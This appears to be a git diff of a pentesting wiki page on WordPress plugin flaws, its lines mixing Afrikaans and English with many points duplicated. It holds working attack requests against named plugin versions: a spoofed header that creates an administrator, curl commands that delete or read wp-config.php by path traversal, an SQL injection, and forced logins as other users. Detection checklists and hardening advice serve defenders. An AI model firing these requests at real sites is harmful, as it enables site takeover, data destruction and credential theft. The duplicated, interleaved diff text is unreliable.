### Trusted-header REST impersonation (WooCommerce Payments ≤ 5.6.1)
|
||||
|
||||
Some plugins implement “trusted header” shortcuts for internal integrations or reverse proxies and then use that header to set the current user context for REST requests. If the header is not cryptographically bound to the request by an upstream component, an attacker can spoof it and hit privileged REST routes as an administrator.
|
||||
Sommige plugins implementeer "trusted header" kortpaaie vir interne integrasies of reverse proxies en gebruik daardie header dan om die huidige gebruiker-konteks vir REST-versoeke te stel. As die header nie kriptografies aan die versoek gebind is deur 'n upstream-komponent nie, kan 'n aanvaller dit spoof en bevoorregte REST-roetes as 'n administrateur teiken.
|
||||
|
||||
- Impak: ongeauthentiseerde bevoegdheidsverhoging na administrateur deur 'n nuwe administrateur te skep via die core users REST route.
|
||||
- Voorbeeld header: `X-Wcpay-Platform-Checkout-User: 1` (dwing gebruiker-ID 1 af, tipies die eerste administrateur-rekening).
|
||||
- Uitgebuite roete: `POST /wp-json/wp/v2/users` met 'n verhoogde rol-array.
|
||||
- Impact: Onautentiseerde privilege-opskaling na admin deur 'n nuwe administrateur te skep via die core users REST-route.
|
||||
- Example header: `X-Wcpay-Platform-Checkout-User: 1` (dwing gebruiker-ID 1 af, tipies die eerste administrateurrekening).
|
||||
- Exploited route: `POST /wp-json/wp/v2/users` met 'n verhoogde role array.
|
||||
|
||||
PoC
|
||||
```http
|
||||
@ -392,38 +393,29 @@ Content-Length: 114
|
||||
```
|
||||
Waarom dit werk
|
||||
|
||||
- Die plugin koppel 'n kliënt-gekontroleerde header aan die autentiseringsstatus en slaan capability-controles oor.
|
||||
- WordPress core verwag die `create_users` capability vir hierdie route; die plugin-hack omseil dit deur die huidige gebruiker-konteks direk uit die header te stel.
|
||||
- Die plugin map `client-controlled` header na authentication state en slaan capability checks oor.
|
||||
- WordPress core verwag `create_users` capability vir hierdie route; die plugin hack omseil dit deur direk die current user context vanaf die header te stel.
|
||||
|
||||
Verwagte suksesaanwysers
|
||||
|
||||
- HTTP 201 met 'n JSON-liggaam wat die geskepte gebruiker beskryf.
|
||||
- HTTP 201 met 'n JSON body wat die geskepte gebruiker beskryf.
|
||||
- 'n Nuwe admin gebruiker sigbaar in `wp-admin/users.php`.
|
||||
|
||||
Opsporingskontrolelys
|
||||
|
||||
- Grep vir `getallheaders()`, `$_SERVER['HTTP_...']`, of vendor SDKs wat aangepaste headers lees om gebruikerskonteks te stel (bv. `wp_set_current_user()`, `wp_set_auth_cookie()`).
|
||||
- Hersien REST-registrasies vir bevoorregte callbacks wat nie robuuste `permission_callback`-kontroles het nie en in plaas daarvan op versoek-headers staatmaak.
|
||||
- Kyk vir gebruik van core user-management funksies (`wp_insert_user`, `wp_create_user`) binne REST-handlers wat slegs deur header-waardes gefilter word.
|
||||
- Grep vir `getallheaders()`, `$_SERVER['HTTP_...']`, of vendor SDKs wat custom headers lees om user context te stel (bv. `wp_set_current_user()`, `wp_set_auth_cookie()`).
|
||||
- Hersien REST registrasies vir bevoorregte callbacks wat geen robuuste `permission_callback` checks het nie en eerder op request headers staatmaak.
|
||||
- Kyk vir gebruik van core user-management funksies (`wp_insert_user`, `wp_create_user`) binne REST handlers wat slegs deur header values geblokkeer word.
|
||||
|
||||
Verharding
|
||||
### Ongeauthentiseerde arbitraire lêerverwydering via wp_ajax_nopriv (Litho Theme <= 3.0)
|
||||
|
||||
- Moet nooit autentisering of magtiging aflei uit kliënt-gekontrolleerde headers nie.
|
||||
- Indien 'n reverse proxy identiteit moet injekteer, beëindig vertroulikheid by die proxy en verwyder inkomende kopieë (bv. `unset X-Wcpay-Platform-Checkout-User` by die edge), en stuur dan 'n getekende token en verifieer dit server-side.
|
||||
- Vir REST-routes wat bevoorregte aksies uitvoer, vereis `current_user_can()`-kontroles en 'n streng `permission_callback` (gebruik NIE `__return_true` nie).
|
||||
- Voorkeur eerste-party auth (cookies, application passwords, OAuth) bo header “impersonation”.
|
||||
WordPress themes en plugins openbaar dikwels AJAX handlers deur die `wp_ajax_` en `wp_ajax_nopriv_` hooks. Wanneer die **_nopriv_** variant gebruik word **word die callback deur ongeauthentiseerde besoekers bereikbaar**, dus moet enige sensitiewe aksie ook die volgende implementeer:
|
||||
|
||||
References: sien die skakels aan die einde van hierdie bladsy vir 'n openbare geval en breër ontleding.
|
||||
1. 'n **capability check** (bv. `current_user_can()` of ten minste `is_user_logged_in()`), en
|
||||
2. 'n **CSRF nonce** gevalideer met `check_ajax_referer()` / `wp_verify_nonce()`, en
|
||||
3. **Streng invoersanitisasie / validering**.
|
||||
|
||||
### Unauthenticated Arbitrary File Deletion via wp_ajax_nopriv (Litho Theme <= 3.0)
|
||||
|
||||
WordPress themes and plugins frequently expose AJAX handlers through the `wp_ajax_` and `wp_ajax_nopriv_` hooks. When the **_nopriv_** variant is used **the callback becomes reachable by unauthenticated visitors**, so any sensitive action must additionally implement:
|
||||
|
||||
1. A **capability check** (e.g. `current_user_can()` or at least `is_user_logged_in()`), and
|
||||
2. A **CSRF nonce** validated with `check_ajax_referer()` / `wp_verify_nonce()`, and
|
||||
3. **Strict input sanitisation / validation**.
|
||||
|
||||
The Litho multipurpose theme (< 3.1) forgot those 3 controls in the *Remove Font Family* feature and ended up shipping the following code (simplified):
|
||||
Die Litho multipurpose theme (< 3.1) het daardie 3 kontroles in die *Remove Font Family* funksie vergeet en het uiteindelik die volgende kode (vereenvoudig) gelewer:
|
||||
```php
|
||||
function litho_remove_font_family_action_data() {
|
||||
if ( empty( $_POST['fontfamily'] ) ) {
|
||||
@ -442,60 +434,37 @@ die();
|
||||
add_action( 'wp_ajax_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
|
||||
add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
|
||||
```
|
||||
Probleme geïntroduseer deur hierdie stukkie:
|
||||
Issues introduced by this snippet:
|
||||
|
||||
* **Unauthenticated access** – die `wp_ajax_nopriv_` hook is geregistreer.
|
||||
* **No nonce / capability check** – enige besoeker kan die endpoint aanroep.
|
||||
* **No path sanitisation** – die deur gebruiker beheerste `fontfamily` string word aan 'n lêerstelselpad gekonkateneer sonder filtrasie, wat klassieke `../../` traversering toelaat.
|
||||
* **Ongeauthentiseerde toegang** – die `wp_ajax_nopriv_` hook is registered.
|
||||
* **Geen nonce / capability check** – enige besoeker kan die endpoint aanroep.
|
||||
* **Geen pad-sanitisering** – die user–controlled `fontfamily` string word aan 'n filesystem path gekoppel sonder filtering, wat klassieke `../../` traversal toelaat.
|
||||
|
||||
#### Uitbuiting
|
||||
|
||||
'n aanvaller kan enige lêer of gids **onder die uploads base directory** (gewoonlik `<wp-root>/wp-content/uploads/`) verwyder deur 'n enkele HTTP POST versoek te stuur:
|
||||
'n Aanvaller kan enige lêer of gids **onder die uploads base directory** (gewoonlik `<wp-root>/wp-content/uploads/`) verwyder deur 'n enkele HTTP POST versoek te stuur:
|
||||
```bash
|
||||
curl -X POST https://victim.com/wp-admin/admin-ajax.php \
|
||||
-d 'action=litho_remove_font_family_action_data' \
|
||||
-d 'fontfamily=../../../../wp-config.php'
|
||||
```
|
||||
Omdat `wp-config.php` buite *uploads* lê, is vier `../`-reekse genoeg op 'n standaardinstallasie. Die verwydering van `wp-config.php` dwing WordPress by die volgende besoek in die *installation wizard*, wat 'n volledige webwerf-oorname moontlik maak (die aanvaller verskaf net 'n nuwe DB-konfigurasie en skep 'n admin-gebruiker).
|
||||
Omdat `wp-config.php` buite *uploads* lê, is vier `../`-reekse genoeg op 'n standaardinstallasie. Om `wp-config.php` te verwyder dwing WordPress by die volgende besoek die *installasiewizard* om te begin, wat 'n volledige oorneem van die site moontlik maak (die aanvaller verskaf eenvoudig 'n nuwe DB-konfigurasie en skep 'n admin-gebruiker).
|
||||
|
||||
Other impactful targets include plugin/theme `.php` files (to break security plugins) or `.htaccess` rules.
|
||||
Ander impakvolle teikens sluit in plugin/theme `.php` lêers (om sekuriteits-plugins te breek) of `.htaccess` reëls.
|
||||
|
||||
#### Opsporingskontrolelys
|
||||
#### Detection checklist
|
||||
|
||||
* Enige `add_action( 'wp_ajax_nopriv_...')` callback wat filesystem helpers aanroep (`copy()`, `unlink()`, `$wp_filesystem->delete()`, ens.).
|
||||
* Samestelling van ongesuiwerde gebruikerinvoer in paaie (soek na `$_POST`, `$_GET`, `$_REQUEST`).
|
||||
* Enige `add_action( 'wp_ajax_nopriv_...')` callback wat filesystem helpers (`copy()`, `unlink()`, `$wp_filesystem->delete()`, etc.) aanroep.
|
||||
* Koppeling van nie-gesaniteerde gebruikersinvoer in paadjies (kyk vir `$_POST`, `$_GET`, `$_REQUEST`).
|
||||
* Afwesigheid van `check_ajax_referer()` en `current_user_can()`/`is_user_logged_in()`.
|
||||
|
||||
#### Verharding
|
||||
```php
|
||||
function secure_remove_font_family() {
|
||||
if ( ! is_user_logged_in() ) {
|
||||
wp_send_json_error( 'forbidden', 403 );
|
||||
}
|
||||
check_ajax_referer( 'litho_fonts_nonce' );
|
||||
|
||||
$fontfamily = sanitize_file_name( wp_unslash( $_POST['fontfamily'] ?? '' ) );
|
||||
$srcdir = trailingslashit( wp_upload_dir()['basedir'] ) . 'litho-fonts/' . $fontfamily;
|
||||
|
||||
if ( ! str_starts_with( realpath( $srcdir ), realpath( wp_upload_dir()['basedir'] ) ) ) {
|
||||
wp_send_json_error( 'invalid path', 400 );
|
||||
}
|
||||
// … proceed …
|
||||
}
|
||||
add_action( 'wp_ajax_litho_remove_font_family_action_data', 'secure_remove_font_family' );
|
||||
// 🔒 NO wp_ajax_nopriv_ registration
|
||||
```
|
||||
> [!TIP]
|
||||
> **Altyd** beskou enige skryf/verwyder-bewerking op skyf as bevoorreg en kontroleer dit twee keer:
|
||||
> • Authentication • Authorisation • Nonce • Input sanitisation • Path containment (e.g. via `realpath()` plus `str_starts_with()`).
|
||||
|
||||
---
|
||||
|
||||
### Privilege escalation via verouderde rolherstel and missing authorization (ASE "View Admin as Role")
|
||||
### Privilege escalation via stale role restoration and missing authorization (ASE "View Admin as Role")
|
||||
|
||||
Baie plugins implementeer 'n "view as role" of temporary role-switching funksie deur die oorspronklike rol(le) in user meta te stoor sodat hulle later herstel kan word. As die herstelpad slegs op request parameters (bv., `$_REQUEST['reset-for']`) en 'n plugin-onderhoude lys staatmaak sonder om capabilities en 'n geldige nonce na te gaan, word dit 'n vertical privilege escalation.
|
||||
Baie plugins implementeer 'n "view as role" of tydelike rol-wissel funksie deur die oorspronklike rol(le) in user meta te stoor sodat dit later herstel kan word. As die herstelpad slegs op versoekparameters berus (bv., `$_REQUEST['reset-for']`) en 'n plugin-onderhoude lys sonder om capabilities en 'n geldige nonce te kontroleer, word dit 'n vertical privilege escalation.
|
||||
|
||||
'n Werklike voorbeeld is gevind in die Admin and Site Enhancements (ASE) plugin (≤ 7.6.2.1). Die reset-branch het rolle herstel gebaseer op `reset-for=<username>` as die gebruikersnaam in 'n interne array `$options['viewing_admin_as_role_are']` verskyn het, maar het geen `current_user_can()` kontrole of nonce-verifikasie uitgevoer voordat dit die huidige rolle verwyder en die gestoor rolle uit user meta `_asenha_view_admin_as_original_roles` herbygevoeg het nie:
|
||||
'n Werklike voorbeeld is gevind in die Admin and Site Enhancements (ASE) plugin (≤ 7.6.2.1). Die reset-branch het rolle herstel gebaseer op `reset-for=<username>` as die gebruikersnaam in 'n interne array `$options['viewing_admin_as_role_are']` verskyn het, maar het nie 'n `current_user_can()`-kontrole of nonce-verifikasie uitgevoer nie voordat huidige rolle verwyder en die gestoor rolle vanuit user meta `_asenha_view_admin_as_original_roles` weer bygevoeg is:
|
||||
```php
|
||||
// Simplified vulnerable pattern
|
||||
if ( isset( $_REQUEST['reset-for'] ) ) {
|
||||
@ -512,15 +481,9 @@ foreach ( $orig as $r ) { $u->add_role( $r ); }
|
||||
```
|
||||
Waarom dit uitbuitbaar is
|
||||
|
||||
- Vertrou op `$_REQUEST['reset-for']` en 'n plugin opsie sonder server-side authorization.
|
||||
- As 'n gebruiker voorheen hoër voorregte gehad het wat gestoor is in `_asenha_view_admin_as_original_roles` en daarna afgegradeer is, kan hulle dit herstel deur die reset path te besoek.
|
||||
- In sommige deployments kan enige authenticated user 'n reset trigger vir 'n ander gebruikersnaam wat nog in `viewing_admin_as_role_are` bestaan (broken authorization).
|
||||
|
||||
Aanvalsvereistes
|
||||
|
||||
- Kwetsbare plugin-weergawe met die funksie geaktiveer.
|
||||
- Teikenrekening het 'n verouderde high-privilege role gestoor in user meta van vroeër gebruik.
|
||||
- Enige authenticated session; ontbrekende nonce/capability in die reset flow.
|
||||
- Vertrou op `$_REQUEST['reset-for']` en 'n plugin-opsie sonder server-side toestemming.
|
||||
- As 'n gebruiker voorheen hoër voorregte gehad het wat gestoor is in `_asenha_view_admin_as_original_roles` en afgradeer is, kan hulle dit herstel deur die terugstelpad te besoek.
|
||||
- In sommige implementasies kon enige geauthentiseerde gebruiker 'n reset vir 'n ander gebruikersnaam wat steeds in `viewing_admin_as_role_are` teenwoordig is, aktiveer (gebreekte magtiging).
|
||||
|
||||
Uitbuiting (voorbeeld)
|
||||
```bash
|
||||
@ -530,36 +493,23 @@ Uitbuiting (voorbeeld)
|
||||
curl -s -k -b 'wordpress_logged_in=...' \
|
||||
'https://victim.example/wp-admin/?reset-for=<your_username>'
|
||||
```
|
||||
Op kwesbare builds verwyder dit die huidige rolle en voeg die gestoorde oorspronklike rolle weer by (bv. `administrator`), wat sodoende bevoegdhede verhoog.
|
||||
Op kwesbare builds verwyder dit die huidige rolle en voeg die gestoorde oorspronklike rolle weer by (e.g., `administrator`), effectively escalating privileges.
|
||||
|
||||
Detection checklist
|
||||
|
||||
- Kyk vir rol-wissel-funksies wat “oorspronklike rolle” in user meta bewaar (bv. `_asenha_view_admin_as_original_roles`).
|
||||
- Identifiseer reset/restore-paaie wat:
|
||||
- Lees gebruikersname uit `$_REQUEST` / `$_GET` / `$_POST`.
|
||||
- Kyk vir role-switching features wat die “original roles” in user meta bewaar (e.g., `_asenha_view_admin_as_original_roles`).
|
||||
- Identifiseer reset/restore paths wat:
|
||||
- Lees gebruikersname vanaf `$_REQUEST` / `$_GET` / `$_POST`.
|
||||
- Wysig rolle via `add_role()` / `remove_role()` sonder `current_user_can()` en `wp_verify_nonce()` / `check_admin_referer()`.
|
||||
- Gemagtig op grond van 'n plugin-opsie-array (bv. `viewing_admin_as_role_are`) eerder as die akteur se bevoegdhede.
|
||||
|
||||
Hardening
|
||||
|
||||
- Dwing bevoegdheidskontroles af op elke tak wat toestand verander (bv. `current_user_can('manage_options')` of strenger).
|
||||
- Vereis nonces vir alle rol-/toestemmingswysigings en verifieer hulle: `check_admin_referer()` / `wp_verify_nonce()`.
|
||||
- Vertrou nooit versoek-verskafde gebruikersname nie; los die teikengebruiker aan die bedienerkant op gebaseer op die geverifieerde akteur en 'n duidelike beleid.
|
||||
- Maak die “oorspronklike rolle”-toestand ongeldig by profiel-/rol-opdaterings om te voorkom dat vervalde hoë-privilegie-herstel plaasvind:
|
||||
```php
|
||||
add_action( 'profile_update', function( $user_id ) {
|
||||
delete_user_meta( $user_id, '_asenha_view_admin_as_original_roles' );
|
||||
}, 10, 1 );
|
||||
```
|
||||
- Oorweeg om minimale state te stoor en tydbeperkte, capability-guarded tokens te gebruik vir tydelike rolwisselings.
|
||||
- Magtig op grond van 'n plugin option array (e.g., `viewing_admin_as_role_are`) in plaas van die akteur se capabilities.
|
||||
|
||||
---
|
||||
|
||||
### Unauthenticated privilege escalation via cookie‑trusted user switching on public init (Service Finder “sf-booking”)
|
||||
|
||||
Sommige plugins koppel user-switching helpers aan die publieke `init` hook en bepaal identiteit uit 'n kliënt-beheerde cookie. As die kode `wp_set_auth_cookie()` aanroep sonder om authentication, capability en 'n geldige nonce te verifieer, kan enige ongeauthentiseerde besoeker dwing om as 'n arbitrêre user ID aan te meld.
|
||||
Some plugins wire user-switching helpers to the public `init` hook and derive identity from a client-controlled cookie. If the code calls `wp_set_auth_cookie()` without verifying authentication, capability and a valid nonce, any unauthenticated visitor can force login as an arbitrary user ID.
|
||||
|
||||
Tipiese kwesbare patroon (vereenvoudig uit Service Finder Bookings ≤ 6.1):
|
||||
Typical vulnerable pattern (simplified from Service Finder Bookings ≤ 6.1):
|
||||
```php
|
||||
function service_finder_submit_user_form(){
|
||||
if ( isset($_GET['switch_user']) && is_numeric($_GET['switch_user']) ) {
|
||||
@ -590,11 +540,11 @@ wp_die('No original user found to switch back to.');
|
||||
```
|
||||
Waarom dit uitbuitbaar is
|
||||
|
||||
- Publieke `init` hook maak die handler bereikbaar vir nie-geauthentiseerde gebruikers (geen `is_user_logged_in()` beskerming).
|
||||
- Identiteit word afgelei uit 'n kliënt-wysigbare cookie (`original_user_id`).
|
||||
- Direkte oproep na `wp_set_auth_cookie($uid)` teken die versoeker in as daardie gebruiker sonder enige capability/nonce kontroles.
|
||||
- Publieke `init` hook maak die hanteraar bereikbaar vir ongeauthentiseerde gebruikers (geen `is_user_logged_in()`-kontrole).
|
||||
- Identiteit word afgelei van 'n deur die kliënt wysigbare cookie (`original_user_id`).
|
||||
- Direkte oproep na `wp_set_auth_cookie($uid)` teken die versoeker aan as daardie gebruiker sonder enige bevoegdheids-/nonce-kontroles.
|
||||
|
||||
Eksploitasie (unauthenticated)
|
||||
Eksploitasie (ongeauthentiseerd)
|
||||
```http
|
||||
GET /?switch_back=1 HTTP/1.1
|
||||
Host: victim.example
|
||||
@ -606,48 +556,49 @@ Connection: close
|
||||
|
||||
### WAF-oorwegings vir WordPress/plugin CVEs
|
||||
|
||||
Algemene edge/server WAFs is ingestel op breë patrone (SQLi, XSS, LFI). Baie hoë-impak WordPress/plugin kwesbaarhede is toepassingspesifieke logika/auth foute wat soos onskadelike verkeer lyk tensy die engine WordPress-roetes en plugin-semantiek verstaan.
|
||||
Generiese edge/server WAFs is afgestel op breë patrone (SQLi, XSS, LFI). Baie hoë‑impak WordPress/plugin foute is toepassingsspesifieke logika/auth-bugs wat soos onskadelike verkeer lyk tensy die engine WordPress-roetes en plugin-semantiek verstaan.
|
||||
|
||||
Aanvalsnotas
|
||||
|
||||
- Rig op plugin-spesifieke endpoints met skoon payloads: `admin-ajax.php?action=...`, `wp-json/<namespace>/<route>`, custom file handlers, shortcodes.
|
||||
- Gebruik eers unauth paths (AJAX `nopriv`, REST with permissive `permission_callback`, public shortcodes). Default payloads slaag dikwels sonder obfuscation.
|
||||
- Tipiese hoë-impak gevalle: privilege escalation (broken access control), arbitrary file upload/download, LFI, open redirect.
|
||||
- Teiken plugin-spesifieke endpoints met skoon payloads: `admin-ajax.php?action=...`, `wp-json/<namespace>/<route>`, custom file handlers, shortcodes.
|
||||
- Gebruik eers ongeauthentiseerde paaie (AJAX `nopriv`, REST met permissiewe `permission_callback`, openbare shortcodes). Standaard-payloads slaag dikwels sonder obfuskasie.
|
||||
- Tipiese hoë‑impak gevalle: privilege escalation (gebroke toegangsbeheer), arbitêre lêer oplaai/aflaai, LFI, open redirect.
|
||||
|
||||
Verdedigingsnotas
|
||||
|
||||
- Moet nie staatmaak op generiese WAF-signatures om plugin CVEs te beskerm nie. Implementeer application-layer, vulnerability-specific virtual patches of werk vinnig op.
|
||||
- Gee voorkeur aan positive-security checks in code (capabilities, nonces, strict input validation) bo negatiewe regex filters.
|
||||
- Moenie staatmaak op generiese WAF-handtekeninge om plugin CVEs te beskerm nie. Implementeer aansoeklaag- en kwesbaarheidspesifieke virtuele pleisters of werk vinnig op.
|
||||
- Gee voorkeur aan positiewe-sekuriteitskontroles in kode (capabilities, nonces, streng invoervalidasie) bo negatiewe regex-filters.
|
||||
|
||||
## WordPress-beskerming
|
||||
## WordPress Beskerming
|
||||
|
||||
### Gereelde opdaterings
|
||||
|
||||
Maak seker dat WordPress, plugins en temas op datum is. Bevestig ook dat geoutomatiseerde opdaterings in `wp-config.php` geaktiveer is:
|
||||
Maak seker WordPress, plugins en themes is op datum. Bevestig ook dat geoutomatiseerde opdatering in wp-config.php aangeskakel is:
|
||||
```bash
|
||||
define( 'WP_AUTO_UPDATE_CORE', true );
|
||||
add_filter( 'auto_update_plugin', '__return_true' );
|
||||
add_filter( 'auto_update_theme', '__return_true' );
|
||||
```
|
||||
Ook, **installeer slegs betroubare WordPress plugins en themes**.
|
||||
Also, **only install trustable WordPress plugins and themes**.
|
||||
|
||||
### Sekuriteits-plugins
|
||||
### Security Plugins
|
||||
|
||||
- [**Wordfence Security**](https://wordpress.org/plugins/wordfence/)
|
||||
- [**Sucuri Security**](https://wordpress.org/plugins/sucuri-scanner/)
|
||||
- [**iThemes Security**](https://wordpress.org/plugins/better-wp-security/)
|
||||
|
||||
### **Ander Aanbevelings**
|
||||
### **Other Recommendations**
|
||||
|
||||
- Verwyder die verstek **admin** gebruiker
|
||||
- Verwyder die standaard **admin** gebruiker
|
||||
- Gebruik **sterk wagwoorde** en **2FA**
|
||||
- Hersien periodiek gebruikers se **toestemmings**
|
||||
- **Beperk aanmeldpogings** om Brute Force-aanvalle te voorkom
|
||||
- Hernoem die **`wp-admin.php`** lêer en laat toegang slegs intern of vanaf sekere IP-adresse.
|
||||
- Hersien gereeld gebruikers se **toestemmings**
|
||||
- Beperk aanmeldpogings om Brute Force-aanvalle te voorkom
|
||||
- Hernoem die **`wp-admin.php`** lêer en laat slegs toegang intern of vanaf sekere IP-adresse toe.
|
||||
|
||||
|
||||
### Unauthenticated SQL Injection via insufficient validation (WP Job Portal <= 2.3.2)
|
||||
|
||||
Die WP Job Portal recruitment plugin het 'n **savecategory** taak blootgestel wat uiteindelik die volgende kwesbare kode binne `modules/category/model.php::validateFormData()` uitvoer:
|
||||
Die WP Job Portal recruitment-plugin het 'n **savecategory** taak ontsluit wat uiteindelik die volgende kwesbare kode binne `modules/category/model.php::validateFormData()` uitvoer:
|
||||
```php
|
||||
$category = WPJOBPORTALrequest::getVar('parentid');
|
||||
$inquery = ' ';
|
||||
@ -657,19 +608,19 @@ $inquery .= " WHERE parentid = $category "; // <-- direct concat ✗
|
||||
$query = "SELECT max(ordering)+1 AS maxordering FROM "
|
||||
. wpjobportal::$_db->prefix . "wj_portal_categories " . $inquery; // executed later
|
||||
```
|
||||
Issues geïntroduseer deur hierdie fragment:
|
||||
Issues introduced by this snippet:
|
||||
|
||||
1. **Ongefilterde gebruikersinvoer** – `parentid` kom direk uit die HTTP-versoek.
|
||||
2. **String-konkatenasie binne die WHERE-clausule** – geen `is_numeric()` / `esc_sql()` / prepared statement.
|
||||
3. **Nie-geauthentiseerde bereikbaarheid** – alhoewel die aksie deur `admin-post.php` uitgevoer word, is die enigste kontrole in plek 'n **CSRF nonce** (`wp_verify_nonce()`), wat enige besoeker kan kry vanaf 'n publieke bladsy wat die shortcode `[wpjobportal_my_resumes]` insluit.
|
||||
1. **Nie-gefiltreerde gebruikerinvoer** – `parentid` kom direk uit die HTTP-versoek.
|
||||
2. **String-konkatenasie binne die WHERE-klousule** – geen `is_numeric()` / `esc_sql()` / prepared statement.
|
||||
3. **Ongeauthentiseerde bereikbaarheid** – alhoewel die aksie uitgevoer word deur `admin-post.php`, is die enigste kontrole in plek 'n **CSRF nonce** (`wp_verify_nonce()`), wat enige besoeker vanaf 'n publieke bladsy wat die shortcode `[wpjobportal_my_resumes]` insluit, kan bekom.
|
||||
|
||||
#### Uitbuiting
|
||||
#### Exploitation
|
||||
|
||||
1. Kry 'n vars nonce:
|
||||
```bash
|
||||
curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4
|
||||
```
|
||||
2. Injecteer arbitrêre SQL deur `parentid` te misbruik:
|
||||
2. Inject arbitrary SQL deur `parentid` te misbruik:
|
||||
```bash
|
||||
curl -X POST https://victim.com/wp-admin/admin-post.php \
|
||||
-d 'task=savecategory' \
|
||||
@ -677,20 +628,20 @@ curl -X POST https://victim.com/wp-admin/admin-post.php \
|
||||
-d 'parentid=0 OR 1=1-- -' \
|
||||
-d 'cat_title=pwn' -d 'id='
|
||||
```
|
||||
Die respons openbaar die resultaat van die ingespuitde navraag of verander die databasis, wat SQLi bewys.
|
||||
Die response openbaar die resultaat van die ingespuite query of verander die databasis, wat SQLi bewys.
|
||||
|
||||
|
||||
### Unauthenticated Arbitrary File Download / Path Traversal (WP Job Portal <= 2.3.2)
|
||||
|
||||
Another task, **downloadcustomfile**, allowed visitors to download **any file on disk** via path traversal. The vulnerable sink is located in `modules/customfield/model.php::downloadCustomUploadedFile()`:
|
||||
Nog 'n taak, **downloadcustomfile**, het besoekers toegelaat om **enige lêer op skyf** af te laai via path traversal. Die kwetsbare sink is geleë in `modules/customfield/model.php::downloadCustomUploadedFile()`:
|
||||
```php
|
||||
$file = $path . '/' . $file_name;
|
||||
...
|
||||
echo $wp_filesystem->get_contents($file); // raw file output
|
||||
```
|
||||
`$file_name` is deur die aanvaller beheer en aaneengeskakel **sonder sanitisering**. Opnuut is die enigste hek 'n **CSRF nonce** wat vanaf die resume-bladsy verkry kan word.
|
||||
`$file_name` is attacker-controlled and concatenated **without sanitisation**. Weereens is die enigste hek 'n **CSRF nonce** wat vanaf die resume page gehaal kan word.
|
||||
|
||||
#### Uitbuiting
|
||||
#### Exploitation
|
||||
```bash
|
||||
curl -G https://victim.com/wp-admin/admin-post.php \
|
||||
--data-urlencode 'task=downloadcustomfile' \
|
||||
@ -699,7 +650,198 @@ curl -G https://victim.com/wp-admin/admin-post.php \
|
||||
--data-urlencode 'entity_id=1' \
|
||||
--data-urlencode 'file_name=../../../wp-config.php'
|
||||
```
|
||||
Die bediener reageer met die inhoud van `wp-config.php`, leaking DB credentials and auth keys.
|
||||
Die bediener antwoord met die inhoud van `wp-config.php`, leaking DB credentials and auth keys.
|
||||
|
||||
## Ongeauthentiseerde rekeningoorname via Social Login AJAX fallback (Jobmonster Theme <= 4.7.9)
|
||||
|
||||
Baie themes/plugins lewer "social login" helpers blootgestel via admin-ajax.php. As 'n ongeauthentiseerde AJAX-aksie (wp_ajax_nopriv_...) kliënt-verskafde identifiseerders vertrou wanneer provider data ontbreek en dan wp_set_auth_cookie() aanroep, word dit 'n volledige authentication bypass.
|
||||
|
||||
Tipiese gebrekkige patroon (vereenvoudigde)
|
||||
```php
|
||||
public function check_login() {
|
||||
// ... request parsing ...
|
||||
switch ($_POST['using']) {
|
||||
case 'fb': /* set $user_email from verified Facebook token */ break;
|
||||
case 'google': /* set $user_email from verified Google token */ break;
|
||||
// other providers ...
|
||||
default: /* unsupported/missing provider – execution continues */ break;
|
||||
}
|
||||
|
||||
// FALLBACK: trust POSTed "id" as email if provider data missing
|
||||
$user_email = !empty($user_email)
|
||||
? $user_email
|
||||
: (!empty($_POST['id']) ? esc_attr($_POST['id']) : '');
|
||||
|
||||
if (empty($user_email)) {
|
||||
wp_send_json(['status' => 'not_user']);
|
||||
}
|
||||
|
||||
$user = get_user_by('email', $user_email);
|
||||
if ($user) {
|
||||
wp_set_auth_cookie($user->ID, true); // 🔥 logs requester in as that user
|
||||
wp_send_json(['status' => 'success', 'message' => 'Login successfully.']);
|
||||
}
|
||||
wp_send_json(['status' => 'not_user']);
|
||||
}
|
||||
// add_action('wp_ajax_nopriv_<social_login_action>', [$this, 'check_login']);
|
||||
```
|
||||
Hoekom dit uitbuitbaar is
|
||||
|
||||
- Ongeauthentiseerde bereikbaarheid via admin-ajax.php (wp_ajax_nopriv_… action).
|
||||
- Geen nonce/capability checks voordat state change plaasvind.
|
||||
- Ontbrekende OAuth/OpenID provider verification; default branch aanvaar attacker input.
|
||||
- get_user_by('email', $_POST['id']) gevolg deur wp_set_auth_cookie($uid) autentikeer die versoeker as enige bestaande e-posadres.
|
||||
|
||||
Uitbuiting (ongeauthentiseerd)
|
||||
|
||||
- Vereistes: attacker kan /wp-admin/admin-ajax.php bereik en ken/raai 'n geldige gebruiker email.
|
||||
- Stel provider op 'n unsupported value (of laat dit weg) om die default branch te tref en id=<victim_email> te stuur.
|
||||
```http
|
||||
POST /wp-admin/admin-ajax.php HTTP/1.1
|
||||
Host: victim.tld
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
|
||||
action=<vulnerable_social_login_action>&using=bogus&id=admin%40example.com
|
||||
```
|
||||
|
||||
```bash
|
||||
curl -i -s -X POST https://victim.tld/wp-admin/admin-ajax.php \
|
||||
-d "action=<vulnerable_social_login_action>&using=bogus&id=admin%40example.com"
|
||||
```
|
||||
Expected success indicators
|
||||
|
||||
- HTTP 200 with JSON body like {"status":"success","message":"Login successfully."}.
|
||||
- Set-Cookie: wordpress_logged_in_* for the victim user; subsequent requests are authenticated.
|
||||
|
||||
Finding the action name
|
||||
|
||||
- Inspect the theme/plugin for add_action('wp_ajax_nopriv_...', '...') registrations in social login code (e.g., framework/add-ons/social-login/class-social-login.php).
|
||||
- Grep for wp_set_auth_cookie(), get_user_by('email', ...) inside AJAX handlers.
|
||||
|
||||
Detection checklist
|
||||
|
||||
- Web logs showing unauthenticated POSTs to /wp-admin/admin-ajax.php with the social-login action and id=<email>.
|
||||
- 200 responses with the success JSON immediately preceding authenticated traffic from the same IP/User-Agent.
|
||||
|
||||
Hardening
|
||||
|
||||
- Do not derive identity from client input. Only accept emails/IDs originating from a validated provider token/ID.
|
||||
- Require CSRF nonces and capability checks even for login helpers; avoid registering wp_ajax_nopriv_ unless strictly necessary.
|
||||
- Validate and verify OAuth/OIDC responses server-side; reject missing/invalid providers (no fallback to POST id).
|
||||
- Consider temporarily disabling social login or virtually patching at the edge (block the vulnerable action) until fixed.
|
||||
|
||||
Patched behaviour (Jobmonster 4.8.0)
|
||||
|
||||
- Removed the insecure fallback from $_POST['id']; $user_email must originate from verified provider branches in switch($_POST['using']).
|
||||
|
||||
